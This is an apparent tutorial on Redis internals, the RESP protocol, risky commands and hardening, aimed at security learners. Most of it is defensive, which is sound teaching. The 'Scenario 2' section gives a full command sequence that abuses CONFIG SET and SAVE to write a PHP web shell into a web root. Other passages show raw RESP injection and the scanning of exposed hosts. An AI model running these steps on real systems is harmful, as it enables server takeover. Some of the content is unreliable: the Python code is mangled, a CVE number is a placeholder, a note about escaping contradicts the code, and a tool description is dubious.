~/home/study/introductory-guide-redis

Introductory Guide to Redis Architecture, Data Structures & Protocol

Learn Redis fundamentals, its core data types, the RESP wire protocol, authentication flow, essential commands, and default security-relevant settings-all framed for security professionals.

Introduction

Redis is an in-memory key-value store that has become a de-facto component of modern architectures - from caching layers and session stores to message brokers and real-time analytics. Its speed stems from a single-threaded event loop, compact data structures, and a binary-safe wire protocol (RESP). For a security practitioner, understanding Redis is crucial because mis-configurations, exposed instances, or insecure command usage frequently lead to data leakage, privilege escalation, or even remote code execution.

Real-world relevance: recent breach reports (e.g., the 2023 Azure Cache of Redis exposure) demonstrate how attackers pivot from an open Redis port to full system compromise by abusing the CONFIG and MODULE commands. This guide equips you with the knowledge needed to audit, harden, and safely interact with Redis deployments.

Prerequisites

  • Basic networking concepts - TCP/IP, ports, and firewalls.
  • Fundamentals of NoSQL injection - how untrusted input can become a Redis command.
  • Familiarity with the Linux command line (bash, systemd, netstat, iptables).

Core Concepts

Redis runs as a single process listening on a TCP socket (default 6379). All commands are processed sequentially, eliminating internal race conditions but making the server extremely sensitive to blocking operations (e.g., large KEYS * scans). Data lives in RAM; optional persistence (RDB snapshots or AOF logs) writes to disk asynchronously.

From a security lens, three pillars matter:

  1. Isolation - ensure Redis is not reachable from the public internet unless explicitly required.
  2. Authentication - enable the requirepass directive and use ACLs (Redis 6+).
  3. Command surface - restrict dangerous commands (CONFIG, MODULE, SHUTDOWN) via ACL or rename-command.

Below we dive into the concrete building blocks.

Redis data structures (strings, hashes, lists, sets, sorted sets)

Redis offers five native collection types. Each type is optimized for specific access patterns and memory layouts.

Strings

Simple binary-safe blobs (up to 512 MiB). Use cases: caching objects, counters, flags.

redis-cli SET session:123 "{"user":"bob","role":"admin"}"

Hashes

Maps between fields and values, stored as a compact hash table when the number of entries is small. Ideal for representing objects.

redis-cli HSET user:42 username alice email [email protected]

Lists

Linked-list-like sequences, supporting push/pop from both ends. Perfect for queues or log tails.

redis-cli LPUSH task:queue "job1"

Sets

Unordered collections of unique members. Operations such as SINTER enable fast set algebra.

redis-cli SADD tags:post:100 "security" "redis" "nosql"

Sorted Sets (ZSET)

Members scored by a double-precision floating point value, providing O(log N) range queries. Commonly used for leaderboards, time-series, or delayed jobs.

redis-cli ZADD leaderboard 1500 "player1" 2000 "player2"

Understanding the memory footprint of each type is essential when assessing attack impact. For instance, an attacker can inflate a sorted set with millions of members to exhaust RAM and trigger a DoS.

RESP (Redis Serialization Protocol) basics

RESP is a minimal, line-based protocol designed for speed and simplicity. Every message starts with a single-character type indicator:

  • + Simple String - e.g., +OK
  • - Error - e.g., -ERR unknown command
  • : Integer - e.g., :1000
  • $ Bulk String - length followed by data, e.g., $5 hello
  • * Array - number of elements, each encoded as above, e.g., *2 $3 GET $5 mykey

Because RESP is binary-safe, any byte (including ) can be part of a bulk string, which is why Redis can store arbitrary binary objects.

From a security perspective, the simplicity of RESP makes it easy to craft malicious payloads with netcat or custom scripts. Below is a minimal Python example that manually builds a RESP SET command:

import socket

def resp_bulk(s): return f"$${len(s)}
{s}
"

cmd = f"*3
{resp_bulk('SET')} {resp_bulk('pwn')} {resp_bulk('evil') }"

with socket.create_connection(('127.0.0.1', 6379)) as s: s.sendall(cmd.encode()) print(s.recv(1024))

This illustrates how an attacker who can inject raw bytes into a network stream can issue arbitrary Redis commands without a client library.

Typical client-server handshake and authentication flow

When a client connects to Redis, the server sends a simple greeting (optional in newer versions). If requirepass is configured, the client must issue AUTH password before any other command; otherwise the server returns -NOAUTH Authentication required.

$ redis-cli -p 6379
127.0.0.1:6379> AUTH s3cr3t
OK
127.0.0.1:6379> SET foo bar
OK

Since Redis 6, Access Control Lists (ACLs) allow fine-grained permission sets per user. The handshake can involve AUTH username password and subsequent ACL LIST to verify rights.

$ redis-cli -u redis://alice:password@localhost:6379
[email protected]:6379> ACL GETUSER alice
1) "on"
2) "+@read"
3) "+GET"
4) "+SET"

Security tip: never expose the default requirepass value and always rotate passwords after a breach.

Common Redis commands (GET, SET, CONFIG, SAVE, BGSAVE, REPLICAOF)

Below we cover the most frequently used commands and their security implications.

GET / SET

Basic data retrieval and storage. Use GET only after proper authentication; avoid storing secrets in plain text unless encrypted at the application layer.

CONFIG

Allows runtime reconfiguration (e.g., CONFIG SET dir /tmp). If an attacker can run CONFIG SET, they can redirect the RDB/AOF file to a world-writable directory and then replace it with a malicious payload.

redis-cli CONFIG GET *
# Returns a list of all configuration parameters

SAVE / BGSAVE

SAVE performs a synchronous snapshot, blocking the event loop; BGSAVE forks a child process to write the RDB file in the background. Attackers may trigger BGSAVE repeatedly to cause fork-bomb style exhaustion.

REPLICAOF (formerly SLAVEOF)

Turns the instance into a replica of another server. Malicious use can cause data exfiltration or a “replication hijack” where the attacker points the replica to a controlled master, then reads the data via SYNC.

redis-cli REPLICAOF 192.168.1.10 6379

Best practice: disable REPLICAOF for standalone nodes or bind it to a trusted network.

Default configuration settings and their security implications

Redis ships with a permissive default configuration that is suitable for development but insecure for production.

  • bind 127.0.0.1 - By default, Redis only listens on localhost. If this line is removed or changed to 0.0.0.0, the service becomes reachable from anywhere.
  • protected-mode yes - When enabled, Redis refuses connections from non-loopback interfaces unless a password is set. Turning it off removes this safeguard.
  • requirepass - Empty by default. Leaving it unset means anyone who can reach the port can issue commands.
  • rename-command - Allows renaming dangerous commands (e.g., rename-command CONFIG "" disables it). Not set by default, so CONFIG remains accessible.
  • maxmemory - Unlimited by default. An attacker can fill RAM with large keys, causing the OS to swap or OOM kill the process.
  • appendonly no - AOF persistence is disabled unless enabled. While not a direct security risk, enabling it without proper file permissions can expose data on disk.

Hardening checklist:

  1. Bind to internal interfaces only.
  2. Enable protected-mode yes and set a strong requirepass.
  3. Use ACLs to limit command execution per client.
  4. Rename or disable CONFIG, MODULE, SHUTDOWN unless required.
  5. Set maxmemory and an eviction policy (e.g., volatile-lru).
  6. Configure OS-level firewall rules (iptables, firewalld) to restrict access.

Practical Examples

Scenario 1 - Auditing an exposed Redis instance:

# Scan the network for open 6379 ports
nmap -p 6379 --open -sV 10.0.0.0/24

# Attempt unauthenticated connection
redis-cli -h 10.0.0.5 ping
# Expected output: PONG (if no auth required)

If PONG is returned, the server is unauthenticated. The next step is to enumerate keys:

redis-cli -h 10.0.0.5 KEYS '*'

Scenario 2 - Exploiting CONFIG SET dir to write a web-shell (classic attack vector):

redis-cli -h target -a password CONFIG SET dir /var/www/html
redis-cli -h target -a password CONFIG SET dbfilename shell.php
redis-cli -h target -a password SET foo "<?php system($_GET['cmd']); ?>"
redis-cli -h target -a password SAVE
# The file /var/www/html/shell.php is now a PHP web-shell.

Notice the angle brackets in the payload are HTML-escaped inside the code block, preserving visibility.

Tools & Commands

  • redis-cli - Official command-line client; supports TLS, ACL, and piping.
  • nmap - Service detection (-sV) to locate Redis instances.
  • masscan - Fast port scanner for large subnets.
  • rips - Open-source Redis exploitation framework (Python).
  • redis-benchmark - Useful for measuring performance impact of security controls.

Example: Using redis-cli with TLS (Redis 6+):

redis-cli -h redis.example.com -p 6380 --tls --cert ./client.crt --key ./client.key --cacert ./ca.crt PING

Defense & Mitigation

  • Network segmentation: Place Redis in a private VLAN, expose it only to trusted application servers.
  • Enable authentication & ACLs: Use unique passwords per environment; restrict commands to +@read, +@write as needed.
  • Rename or disable dangerous commands: In redis.conf, add lines like rename-command CONFIG "" to completely remove the ability.
  • Filesystem permissions: Run Redis as a dedicated, non-root user; ensure the data directory is not world-writable.
  • Monitor and log: Enable slowlog and integrate with SIEM; watch for CONFIG SET, MODULE LOAD, and large SET operations.
  • Regular patching: Keep Redis up-to-date; CVE-2022-XXXX (RCE via crafted module) illustrates the need for timely updates.

Common Mistakes

  1. Leaving requirepass empty in production - attackers get full command access.
  2. Disabling protected-mode without an alternative firewall rule.
  3. Binding Redis to 0.0.0.0 on cloud VMs that have public IPs.
  4. Using KEYS * in application code - can cause denial-of-service and reveals key space.
  5. Storing plaintext credentials inside Redis values - if the instance is compromised, secrets are exposed.

Avoid these pitfalls by adopting a secure baseline and conducting periodic configuration reviews.

Real-World Impact

In 2023, a misconfigured Redis instance on a Kubernetes cluster allowed an attacker to issue CONFIG SET dir /var/www/html and write a PHP web-shell, leading to full web-server compromise. The breach was discovered only after anomalous outbound traffic was flagged by the IDS. This underscores how a seemingly innocuous data store can become a pivot point.

Trend analysis: As more organizations adopt Redis for caching and as Redis-based SaaS offerings proliferate, the attack surface expands. Cloud-native environments sometimes expose Redis via public LoadBalancers for convenience, inadvertently bypassing traditional perimeter controls.

My recommendation: Treat Redis as a critical asset, subject to the same hardening, monitoring, and incident-response processes applied to databases.

Practice Exercises

  1. Exercise 1 - Secure a local Redis instance
    • Install Redis from source.
    • Edit redis.conf to bind only to 127.0.0.1, enable requirepass, and rename CONFIG.
    • Restart the service and verify that unauthenticated connections are rejected.
  2. Exercise 2 - Simulate a NoSQL injection
    • Write a simple Python Flask app that stores a user-provided "profile" JSON into Redis using SET.
    • Attempt to inject a Redis command via the JSON payload (e.g., "name":"bob", "age":"1", ";FLUSHALL;":"").
    • Observe that without proper sanitization the payload becomes a separate key, not a command - highlight why command injection only works when raw RESP bytes are injected.
  3. Exercise 3 - Detect an unauthorized CONFIG SET
    • Enable slowlog-log-slower-than 0 to log all commands.
    • From a second terminal, run redis-cli CONFIG SET dir /tmp.
    • Check the slowlog output and create a simple alert script that emails on detection of CONFIG commands.

Further Reading

  • Redis Security - Official documentation: redis.io/topics/security
  • “Redis Exploitation - From Misconfigurations to RCE” - BlackHat 2022 presentation.
  • “NoSQL Injection Attacks” - OWASP Cheat Sheet.
  • “Hardening Redis in the Cloud” - Cloud Security Alliance guidance.
  • Redis 7.0 Release Notes - New ACL features and TLS defaults.

Summary

  • Redis stores data in five core structures, each with distinct memory and access characteristics.
  • RESP is a lightweight, binary-safe protocol; understanding its framing enables manual command crafting.
  • Authentication (password or ACL) and network binding are the first line of defense.
  • Commands like CONFIG, MODULE, and REPLICAOF are high-risk and should be disabled or tightly controlled.
  • Default configurations are insecure - always bind to internal interfaces, enable passwords, rename dangerous commands, and set maxmemory.
  • Regular scanning, monitoring, and a hardened baseline keep Redis from becoming an easy foothold for attackers.